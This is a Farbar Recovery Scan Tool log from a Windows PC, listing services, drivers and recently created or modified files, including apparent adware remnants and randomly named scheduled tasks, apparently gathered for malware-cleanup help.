S2 SpyHunter 4 Service; C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe [1042304 2016-03-20] (Enigma Software Group USA, LLC.)
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [6942480 2016-03-02] (TeamViewer GmbH)
S2 TunMirror; D:\Торенти\KMSAuto Easy 1.06.V6 (Activator For Windows 7,8,8.1 and Office 1\TunMirror.exe [10752 2013-11-16] () [File not signed]
R2 VMCService; C:\Program Files (x86)\Vodafone\Vodafone Mobile Connect\Bin\VMCService.exe [14336 2008-07-04] (Vodafone) [File not signed]
R2 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [1011712 2013-05-27] (Microsoft Corporation)
R2 ZeroConfigService; C:\Program Files\Intel\WiFi\bin\ZeroConfigService.exe [594704 2011-12-08] (Intel® Corporation)

===================== Drivers (Whitelisted) ==========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

S1 20354967; C:\Windows\system32\drivers\20354967.sys [92120 2016-01-06] () [File not signed]
S3 dtlitescsibus; C:\Windows\System32\DRIVERS\dtlitescsibus.sys [30264 2015-08-08] (Disc Soft Ltd)
R1 dtsoftbus01; C:\Windows\System32\DRIVERS\dtsoftbus01.sys [283200 2015-12-18] (DT Soft Ltd)
S3 ebdrv; C:\Windows\system32\drivers\evbda.sys [3286016 2009-06-10] (Broadcom Corporation)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [22704 2016-03-20] ()
S3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [28032 2016-02-17] (NVIDIA Corporation)
R3 nvvad_WaveExtensible; C:\Windows\System32\drivers\nvvad64v.sys [47760 2015-12-18] (NVIDIA Corporation)
R3 rzendpt; C:\Windows\System32\DRIVERS\rzendpt.sys [50392 2015-08-13] (Razer Inc)
R2 rzpmgrk; C:\Windows\system32\drivers\rzpmgrk.sys [37184 2015-06-12] (Razer, Inc.)
R2 rzpnk; C:\Windows\system32\drivers\rzpnk.sys [129472 2015-06-27] (Razer, Inc.)
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [381608 2015-08-08] (Duplex Secure Ltd.)
S3 VGPU; System32\drivers\rdvgkmd.sys [X]

==================== NetSvcs (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)


==================== One Month Created files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2016-03-20 19:37 - 2016-03-20 19:37 - 00025848 _____ C:\Users\Stefan\Downloads\FRST.txt
2016-03-20 19:37 - 2016-03-20 19:37 - 00000000 ____D C:\FRST
2016-03-20 19:36 - 2016-03-20 19:36 - 02374144 _____ (Farbar) C:\Users\Stefan\Downloads\FRST64.exe
2016-03-20 11:59 - 2016-03-20 11:59 - 00000000 ____D C:\Users\Stefan\Desktop\Стари данни Firefox
2016-03-20 11:35 - 2016-03-20 11:35 - 03286400 _____ (Enigma Software Group USA, LLC.) C:\Users\Stefan\Downloads\SpyHunter-Installer.exe
2016-03-20 11:07 - 2016-03-20 11:07 - 00000000 _____ C:\autoexec.bat
2016-03-20 11:06 - 2016-03-20 11:06 - 00003332 _____ C:\Windows\System32\Tasks\SpyHunter4Startup
2016-03-20 11:06 - 2016-03-20 11:06 - 00001087 _____ C:\Users\Stefan\Desktop\SpyHunter.lnk
2016-03-20 11:06 - 2016-03-20 11:06 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\SpyHunter
2016-03-20 11:06 - 2016-03-20 11:06 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Enigma Software Group
2016-03-20 11:06 - 2016-03-20 11:06 - 00000000 ____D C:\sh4ldr
2016-03-20 11:05 - 2016-03-20 11:05 - 03286400 _____ (Enigma Software Group USA, LLC.) C:\Users\Stefan\Desktop\SpyHunter-Installer.exe
2016-03-20 11:05 - 2016-03-20 11:05 - 00022704 _____ C:\Windows\system32\Drivers\EsgScanner.sys
2016-03-20 11:05 - 2016-03-20 11:05 - 00000000 ____D C:\Program Files\Enigma Software Group
2016-03-20 01:16 - 2016-03-20 10:51 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2016-03-14 18:16 - 2016-03-14 18:16 - 00003248 _____ C:\Windows\System32\Tasks\psv_Zaamtom
2016-03-14 18:15 - 2016-03-14 18:15 - 00003262 _____ C:\Windows\System32\Tasks\psv_TresQuoeco
2016-03-14 17:49 - 2016-03-14 17:49 - 00003234 _____ C:\Windows\System32\Tasks\producadoo
2016-03-14 06:14 - 2016-03-14 06:14 - 00003388 _____ C:\Windows\System32\Tasks\o3zplhly
2016-03-14 06:14 - 2016-03-14 06:14 - 00000000 ____D C:\Program Files\Common Files\pmk10zge
2016-03-14 05:14 - 2016-03-14 05:14 - 00003388 _____ C:\Windows\System32\Tasks\cnt5j0b3
2016-03-14 05:14 - 2016-03-14 05:14 - 00000000 ____D C:\Program Files\Common Files\m2pxazue
2016-03-14 04:14 - 2016-03-14 04:14 - 00003388 _____ C:\Windows\System32\Tasks\drf40eed
2016-03-14 04:14 - 2016-03-14 04:14 - 00000000 ____D C:\Program Files\Common Files\zivb3dwl
2016-03-14 03:14 - 2016-03-14 03:14 - 00003388 _____ C:\Windows\System32\Tasks\jaancasl
2016-03-14 03:14 - 2016-03-14 03:14 - 00000000 ____D C:\Program Files\Common Files\hykbkrt4
2016-03-14 02:14 - 2016-03-14 02:14 - 00003388 _____ C:\Windows\System32\Tasks\shypmcwx
2016-03-14 02:14 - 2016-03-14 02:14 - 00000000 ____D C:\Program Files\Common Files\dchpkqot
2016-03-14 01:14 - 2016-03-14 01:14 - 00003388 _____ C:\Windows\System32\Tasks\0ksidqpu
2016-03-14 01:14 - 2016-03-14 01:14 - 00000000 ____D C:\Program Files\Common Files\y1315233
2016-03-14 00:14 - 2016-03-14 00:14 - 00003388 _____ C:\Windows\System32\Tasks\z253j3j1
2016-03-14 00:14 - 2016-03-14 00:14 - 00000000 ____D C:\Program Files\Common Files\wr1evdgk
2016-03-13 23:14 - 2016-03-19 23:43 - 00000000 ____D C:\ProgramData\afoir
2016-03-13 23:14 - 2016-03-13 23:14 - 00003388 _____ C:\Windows\System32\Tasks\lruw24vh
2016-03-13 23:14 - 2016-03-13 23:14 - 00000000 ____D C:\ProgramData\afoirs
2016-03-13 23:14 - 2016-03-13 23:14 - 00000000 ____D C:\Program Files\Common Files\blo2ut03
2016-03-13 22:14 - 2016-03-13 22:14 - 00003388 _____ C:\Windows\System32\Tasks\zw5cgoyc
2016-03-13 22:14 - 2016-03-13 22:14 - 00000000 ____D C:\Program Files\Common Files\ea3ostxi
2016-03-13 21:14 - 2016-03-13 21:14 - 00003388 _____ C:\Windows\System32\Tasks\i0w24las
2016-03-13 21:14 - 2016-03-13 21:14 - 00000000 ____D C:\Program Files\Common Files\3nkjdsje
2016-03-13 20:15 - 2016-03-13 20:15 - 00001734 _____ C:\Users\Stefan\Desktop\Counter-Strike WaRzOnE.lnk
2016-03-13 20:14 - 2016-03-13 23:14 - 00000000 ____D C:\Program Files\BitTorrent
2016-03-13 20:13 - 2016-03-19 23:43 - 00002394 _____ C:\Windows\SysWOW64\findit.xml
2016-03-13 20:13 - 2016-03-13 20:13 - 07600640 _____ C:\Users\Stefan\AppData\Roaming\agent.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 01787264 _____ C:\Users\Stefan\AppData\Roaming\ViaNimphase.tst
2016-03-13 20:13 - 2016-03-13 20:13 - 00848437 _____ C:\Users\Stefan\AppData\Roaming\Nimtom.bin
2016-03-13 20:13 - 2016-03-13 20:13 - 00189695 _____ () C:\Users\Stefan\AppData\Roaming\Sanla.bin
2016-03-13 20:13 - 2016-03-13 20:13 - 00126464 _____ C:\Users\Stefan\AppData\Roaming\noah.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 00126464 _____ C:\Users\Stefan\AppData\Roaming\lobby.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 00072714 _____ C:\Users\Stefan\AppData\Roaming\Domlam.tst
2016-03-13 20:13 - 2016-03-13 20:13 - 00065040 _____ C:\Users\Stefan\AppData\Roaming\Config.xml
2016-03-13 20:13 - 2016-03-13 20:13 - 00054272 _____ C:\Users\Stefan\AppData\Roaming\ApplicationHosting.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 00041472 _____ C:\Users\Stefan\AppData\Local\Konkstrip.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 00028160 _____ C:\Users\Stefan\AppData\Local\Konkstrip.exe
2016-03-13 20:13 - 2016-03-13 20:13 - 00018432 _____ C:\Users\Stefan\AppData\Roaming\Main.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 00005568 _____ C:\Users\Stefan\AppData\Roaming\md.xml
2016-03-13 20:13 - 2016-03-13 20:13 - 00000187 _____ C:\Users\Stefan\AppData\Local\Konkstrip.exe.config
2016-03-13 20:13 - 2016-03-13 20:13 - 00000000 ____D C:\ProgramData\Ronzaps
2016-03-13 20:13 - 2016-03-13 20:13 - 00000000 ____D C:\ProgramData\CloudPrinter
2016-03-13 20:13 - 2016-03-13 20:12 - 00761856 _____ C:\Users\Stefan\AppData\Roaming\ViaNimphase.exe
2016-03-13 20:13 - 2016-03-13 20:12 - 00761856 _____ C:\Users\Stefan\AppData\Roaming\Domlam.exe
2016-03-13 20:12 - 2016-03-13 20:13 - 00016992 _____ C:\Users\Stefan\AppData\Roaming\InstallationConfiguration.xml
2016-03-13 20:12 - 2016-03-13 20:12 - 00127488 _____ C:\Users\Stefan\AppData\Roaming\Installer.dat
2016-03-13 20:00 - 2016-03-13 20:00 - 00001948 _____ C:\Users\postgres\Desktop\Counter Strike 1.6 Non Steam.lnk
2016-03-13 20:00 - 2016-03-13 20:00 - 00001928 _____ C:\Users\postgres\Desktop\Dedicated Server.lnk
2016-03-13 19:59 - 2016-03-13 20:00 - 00000000 ____D C:\Program Files (x86)\Valve
2016-03-13 00:24 - 2016-03-13 00:24 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\NVIDIA
2016-03-13 00:23 - 2016-03-13 00:23 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\HLDS
2016-03-13 00:23 - 2016-03-13 00:23 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Half-Life
2016-03-13 00:23 - 2016-03-13 00:23 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Counter-Strike
2016-03-13 00:23 - 2016-03-13 00:23 - 00000000 ____D C:\Games
2016-03-12 01:22 - 2013-01-27 18:32 - 00066331 _____ C:\Program Files (x86)\EULA.eng
2016-03-12 01:19 - 2016-03-12 01:19 - 00002033 _____ C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\888poker.lnk
2016-03-12 01:19 - 2016-03-12 01:19 - 00002009 _____ C:\Users\postgres\Desktop\888poker.lnk
2016-03-12 01:19 - 2016-03-12 01:19 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\PacificPoker
2016-03-12 01:19 - 2016-03-12 01:19 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\888poker
2016-03-12 01:19 - 2016-03-12 01:19 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\888poker
2016-03-12 01:18 - 2016-03-12 01:18 - 00000000 ____D C:\Program Files (x86)\888poker.net
2016-03-12 01:14 - 2016-03-12 01:23 - 00000000 ____D C:\Program Files (x86)\PacificPoker
2016-03-12 01:11 - 2016-03-12 01:26 - 00000000 ____D C:\Users\Stefan\Documents\888poker
2016-03-11 10:36 - 2016-03-20 12:12 - 00000000 ____D C:\Users\Stefan\AppData\Local\CrashDumps
2016-03-11 01:13 - 2016-03-14 18:13 - 00000000 ____D C:\Windows\SysWOW64\NV
2016-03-11 01:13 - 2016-03-14 18:13 - 00000000 ____D C:\Windows\system32\NV
2016-03-11 01:11 - 2016-03-08 12:07 - 42968120 _____ C:\Windows\system32\nvcompiler.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 37609528 _____ C:\Windows\SysWOW64\nvcompiler.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 22932928 _____ (NVIDIA Corporation) C:\Windows\system32\nvoglv64.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 21313024 _____ (NVIDIA Corporation) C:\Windows\system32\nvopencl.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 20854680 _____ (NVIDIA Corporation) C:\Windows\system32\nvcuda.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 18990976 _____ (NVIDIA Corporation) C:\Windows\system32\nvwgf2umx.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 18879544 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvoglv32.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 17725040 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvopencl.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 17318184 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcuda.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 17246680 _____ (NVIDIA Corporation) C:\Windows\system32\nvd3dumx.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 16439328 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvwgf2um.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 12564024 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvlddmkm.sys
2016-03-11 01:11 - 2016-03-08 12:07 - 10546944 _____ C:\Windows\system32\nvptxJitCompiler.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 08658120 _____ C:\Windows\SysWOW64\nvptxJitCompiler.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 03233336 _____ (NVIDIA Corporation) C:\Windows\system32\nvcuvid.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 02808768 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcuvid.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 01924152 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispco6436451.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 01571776 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispgenco6436451.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00956984 _____ (NVIDIA Corporation) C:\Windows\system32\NvFBC64.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00886840 _____ (NVIDIA Corporation) C:\Windows\system32\NvIFR64.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00749504 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvFBC.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00693816 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvIFR.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00678520 _____ C:\Windows\system32\nvfatbinaryLoader.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00571912 _____ C:\Windows\SysWOW64\nvfatbinaryLoader.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00473056 _____ (NVIDIA Corporation) C:\Windows\system32\nvumdshimx.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00151368 _____ (NVIDIA Corporation) C:\Windows\system32\nvoglshim64.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00128696 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvoglshim32.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00039992 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvpciflt.sys
2016-03-11 01:11 - 2016-03-08 12:07 - 00000139 _____ C:\Windows\SysWOW64\nv-vk32.json
2016-03-11 01:11 - 2016-03-08 12:07 - 00000139 _____ C:\Windows\system32\nv-vk64.json
2016-03-08 22:52 - 2016-03-08 22:55 - 00000000 ____D C:\Program Files (x86)\PKR
2016-03-08 22:52 - 2016-03-08 22:52 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PKR
2016-03-08 21:37 - 2016-03-08 21:38 - 00002441 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Acrobat Reader DC.lnk
2016-03-08 21:37 - 2016-03-08 21:37 - 00000000 ____D C:\Program Files (x86)\Adobe
2016-03-08 21:30 - 2015-12-18 08:11 - 00047760 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvvad64v.sys
2016-03-08 21:30 - 2015-12-18 08:10 - 00099472 _____ (NVIDIA Corporation) C:\Windows\system32\nvaudcap64v.dll
2016-03-08 21:30 - 2015-12-18 08:10 - 00090768 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvaudcap32v.dll
2016-03-08 21:27 - 2016-03-08 12:07 - 14128496 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvd3dum.dll
2016-03-08 21:27 - 2016-03-08 12:07 - 00391632 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvumdshim.dll
2016-03-08 21:27 - 2016-03-08 12:07 - 00175552 _____ (NVIDIA Corporation) C:\Windows\system32\nvinitx.dll
2016-03-08 21:27 - 2016-03-08 12:07 - 00153392 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvinit.dll
2016-03-08 21:27 - 2016-02-24 01:58 - 01922496 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispco6436200.dll
2016-03-08 21:27 - 2016-02-24 01:58 - 01571776 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispgenco6436200.dll
2016-03-08 21:20 - 2016-02-17 08:40 - 01756424 _____ (NVIDIA Corporation) C:\Windows\system32\nvspbridge64.dll
2016-03-08 21:20 - 2016-02-17 08:40 - 01316184 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvspbridge.dll
2016-03-08 21:20 - 2016-02-17 08:40 - 00112216 _____ C:\Windows\system32\NvRtmpStreamer64.dll
2016-03-08 21:19 - 2016-03-11 01:14 - 00000000 ____D C:\ProgramData\Package Cache
2016-02-25 13:03 - 2016-02-25 13:03 - 00001654 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Poker at bet365.lnk
2016-02-25 13:03 - 2016-02-25 13:03 - 00001642 _____ C:\Users\Public\Desktop\Poker at bet365.lnk
2016-02-25 13:02 - 2016-03-02 15:00 - 00000000 ____D C:\Program Files (x86)\Poker at bet365
2016-02-19 05:49 - 2016-02-19 05:49 - 00001078 _____ C:\Users\postgres\Desktop\PokerTracker 4.lnk
2016-02-19 05:49 - 2016-02-19 05:49 - 00000016 _____ C:\ProgramData\mntemp

==================== One Month Modified files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2016-03-20 19:36 - 2013-11-17 14:38 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Skype
2016-03-20 19:36 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\inf
2016-03-20 19:33 - 2013-11-16 00:20 - 00000998 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job
2016-03-20 19:32 - 2013-11-16 00:20 - 00000830 _____ C:\Windows\Tasks\Adobe Flash Player Updater.job
2016-03-20 19:32 - 2009-07-14 06:45 - 00020832 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2016-03-20 19:32 - 2009-07-14 06:45 - 00020832 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2016-03-20 12:12 - 2013-11-16 00:30 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\uTorrent
2016-03-20 10:59 - 2015-12-20 21:31 - 00000000 ____D C:\Program Files (x86)\Voobly
2016-03-20 10:51 - 2013-11-17 14:34 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2016-03-20 10:43 - 2013-11-17 15:11 - 00000000 ____D C:\Program Files (x86)\The KMPlayer
2016-03-20 02:38 - 2015-07-19 19:50 - 00000892 _____ C:\Windows\Tasks\Adobe Flash Player PPAPI Notifier.job
2016-03-19 23:58 - 2013-11-16 00:20 - 00000994 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
2016-03-19 23:43 - 2013-11-17 14:34 - 00001169 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2016-03-19 23:43 - 2013-11-17 14:34 - 00001163 _____ C:\Users\Public\Desktop\Mozilla Firefox.lnk
2016-03-19 23:43 - 2013-11-16 01:44 - 00002294 _____ C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2016-03-19 23:43 - 2013-11-15 22:30 - 00001405 _____ C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2016-03-18 00:57 - 2014-06-11 20:53 - 00003864 _____ C:\Windows\System32\Tasks\Opera scheduled Autoupdate 1384553415
2016-03-18 00:57 - 2013-11-16 00:10 - 00000000 ____D C:\Program Files (x86)\Opera
2016-03-17 07:44 - 2013-11-17 14:38 - 00000000 ___RD C:\Program Files (x86)\Skype
2016-03-17 07:44 - 2013-11-17 14:37 - 00000000 ____D C:\ProgramData\Skype
2016-03-14 23:32 - 2015-09-13 18:49 - 00000000 ____D C:\Program Files (x86)\Steam
2016-03-14 18:19 - 2009-07-14 07:13 - 00782882 _____ C:\Windows\system32\PerfStringBackup.INI
2016-03-14 18:13 - 2009-07-14 07:08 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2016-03-14 17:49 - 2014-11-09 23:30 - 00003254 _____ C:\Windows\System32\Tasks\PC Speed Maximizer Schedule
2016-03-13 22:20 - 2015-11-10 23:51 - 00000971 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 11.lnk
2016-03-13 22:20 - 2015-11-10 23:51 - 00000959 _____ C:\Users\Public\Desktop\TeamViewer 11.lnk
2016-03-13 22:20 - 2013-11-22 21:42 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2016-03-13 21:12 - 2014-02-13 15:04 - 00000000 ____D C:\Users\Stefan\AppData\Local\PokerTracker 4
2016-03-13 21:12 - 2014-02-13 15:04 - 00000000 ____D C:\Program Files (x86)\PokerTracker 4
2016-03-13 19:59 - 2013-11-16 00:35 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2016-03-12 01:19 - 2015-12-18 23:04 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Games
2016-03-11 18:16 - 2015-07-19 19:50 - 00003890 _____ C:\Windows\System32\Tasks\Adobe Flash Player PPAPI Notifier
2016-03-11 18:16 - 2013-11-16 00:20 - 00797376 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2016-03-11 18:16 - 2013-11-16 00:20 - 00142528 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2016-03-11 18:16 - 2013-11-16 00:20 - 00003768 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2016-03-11 01:12 - 2013-11-15 23:24 - 00000000 ____D C:\ProgramData\NVIDIA
2016-03-08 21:38 - 2015-01-29 19:56 - 00003886 _____ C:\Windows\System32\Tasks\Adobe Acrobat Update Task
2016-03-08 21:37 - 2013-11-16 00:50 - 00000000 ____D C:\ProgramData\Adobe
2016-03-08 21:31 - 2013-11-26 20:42 - 00000000 ____D C:\Users\Stefan\AppData\Local\NVIDIA Corporation
2016-03-08 21:31 - 2013-11-26 20:40 - 00000000 ____D C:\Users\Stefan\AppData\Local\NVIDIA
2016-03-08 21:31 - 2013-11-15 23:23 - 00000000 ____D C:\ProgramData\NVIDIA Corporation
2016-03-08 21:29 - 2013-11-15 23:23 - 00000000 ____D C:\Program Files (x86)\NVIDIA Corporation
2016-03-08 21:28 - 2013-11-15 23:23 - 00000000 ____D C:\Program Files\NVIDIA Corporation
2016-03-08 12:07 - 2013-11-17 14:37 - 03283896 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvapi.dll
2016-03-08 12:07 - 2013-04-08 13:32 - 03711024 _____ (NVIDIA Corporation) C:\Windows\system32\nvapi64.dll
2016-03-08 12:07 - 2013-04-08 13:32 - 00036743 _____ C:\Windows\system32\nvinfo.pb
2016-03-08 08:27 - 2013-11-15 23:24 - 06369728 _____ (NVIDIA Corporation) C:\Windows\system32\nvcpl.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 02994232 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvc64.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 02561472 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvcr.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 01264064 _____ (NVIDIA Corporation) C:\Windows\system32\nvvsvc.exe
2016-03-08 08:27 - 2013-11-15 23:24 - 00532536 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshext.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 00392128 _____ (NVIDIA Corporation) C:\Windows\system32\nvmctray.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 00083512 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshextr.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 00069568 _____ (NVIDIA Corporation) C:\Windows\system32\nvshext.dll
2016-03-07 06:23 - 2013-11-15 23:24 - 06203411 _____ C:\Windows\system32\nvcoproc.bin
2016-03-06 15:09 - 2015-04-10 14:30 - 00000000 ____D C:\Users\Stefan\AppData\Local\Steam
2016-03-04 01:11 - 2013-11-16 01:06 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\DAEMON Tools Lite
2016-03-04 01:09 - 2014-01-23 21:16 - 00000000 ____D C:\Windows\Minidump
2016-03-03 03:21 - 2013-11-22 21:52 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\TeamViewer
2016-03-02 21:08 - 2015-07-17 09:03 - 00003414 _____ C:\Windows\System32\Tasks\GyazoUpdateTaskMachineDaily
2016-03-02 21:08 - 2015-07-17 09:03 - 00003288 _____ C:\Windows\System32\Tasks\GyazoUpdateTaskMachine
2016-03-02 21:08 - 2015-07-17 09:03 - 00000000 ____D C:\Program Files (x86)\Gyazo
2016-03-02 14:53 - 2015-06-26 19:36 - 00000000 ____D C:\Rua Gaming
2016-02-26 09:21 - 2015-12-20 21:31 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Voobly
2016-02-24 01:58 - 2013-11-15 23:08 - 00215608 _____ (Khronos Group) C:\Windows\system32\OpenCL.DLL
2016-02-24 01:58 - 2013-11-15 23:08 - 00201664 _____ (Khronos Group) C:\Windows\SysWOW64\OpenCL.DLL
2016-02-19 05:50 - 2015-11-03 03:42 - 00000000 ____D C:\Users\Stefan\AppData\Local\PokerStars.BG
2016-02-19 05:50 - 2014-09-26 22:46 - 00000000 ____D C:\Program Files (x86)\PokerStars.BG
2016-02-19 05:50 - 2013-11-17 15:06 - 00000000 ____D C:\Program Files (x86)\PokerStars

==================== Files in the root of some directories =======

2016-03-12 01:22 - 2013-01-27 18:32 - 0066331 _____ () C:\Program Files (x86)\EULA.eng
2013-11-16 01:50 - 2013-11-16 01:51 - 8138498 _____ () C:\Program Files (x86)\saplatform.com_12Beta1.zip
2016-03-13 20:13 - 2016-03-13 20:13 - 7600640 _____ () C:\Users\Stefan\AppData\Roaming\agent.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0054272 _____ () C:\Users\Stefan\AppData\Roaming\ApplicationHosting.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0065040 _____ () C:\Users\Stefan\AppData\Roaming\Config.xml
2016-03-13 20:13 - 2016-03-13 20:12 - 0761856 _____ () C:\Users\Stefan\AppData\Roaming\Domlam.exe
2016-03-13 20:13 - 2016-03-13 20:13 - 0072714 _____ () C:\Users\Stefan\AppData\Roaming\Domlam.tst
2016-03-13 20:12 - 2016-03-13 20:13 - 0016992 _____ () C:\Users\Stefan\AppData\Roaming\InstallationConfiguration.xml
2016-03-13 20:12 - 2016-03-13 20:12 - 0127488 _____ () C:\Users\Stefan\AppData\Roaming\Installer.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0126464 _____ () C:\Users\Stefan\AppData\Roaming\lobby.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0018432 _____ () C:\Users\Stefan\AppData\Roaming\Main.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0005568 _____ () C:\Users\Stefan\AppData\Roaming\md.xml
2016-03-13 20:13 - 2016-03-13 20:13 - 0848437 _____ () C:\Users\Stefan\AppData\Roaming\Nimtom.bin
2016-03-13 20:13 - 2016-03-13 20:13 - 0126464 _____ () C:\Users\Stefan\AppData\Roaming\noah.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0189695 _____ () C:\Users\Stefan\AppData\Roaming\Sanla.bin
2016-03-13 20:14 - 2016-03-13 20:14 - 0001150 _____ () C:\Users\Stefan\AppData\Roaming\uninstall_temp.ico
2016-03-13 20:13 - 2016-03-13 20:12 - 0761856 _____ () C:\Users\Stefan\AppData\Roaming\ViaNimphase.exe
2016-03-13 20:13 - 2016-03-13 20:13 - 1787264 _____ () C:\Users\Stefan\AppData\Roaming\ViaNimphase.tst
2016-03-13 20:13 - 2016-03-13 20:13 - 0041472 _____ () C:\Users\Stefan\AppData\Local\Konkstrip.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0028160 _____ () C:\Users\Stefan\AppData\Local\Konkstrip.exe
2016-03-13 20:13 - 2016-03-13 20:13 - 0000187 _____ () C:\Users\Stefan\AppData\Local\Konkstrip.exe.config
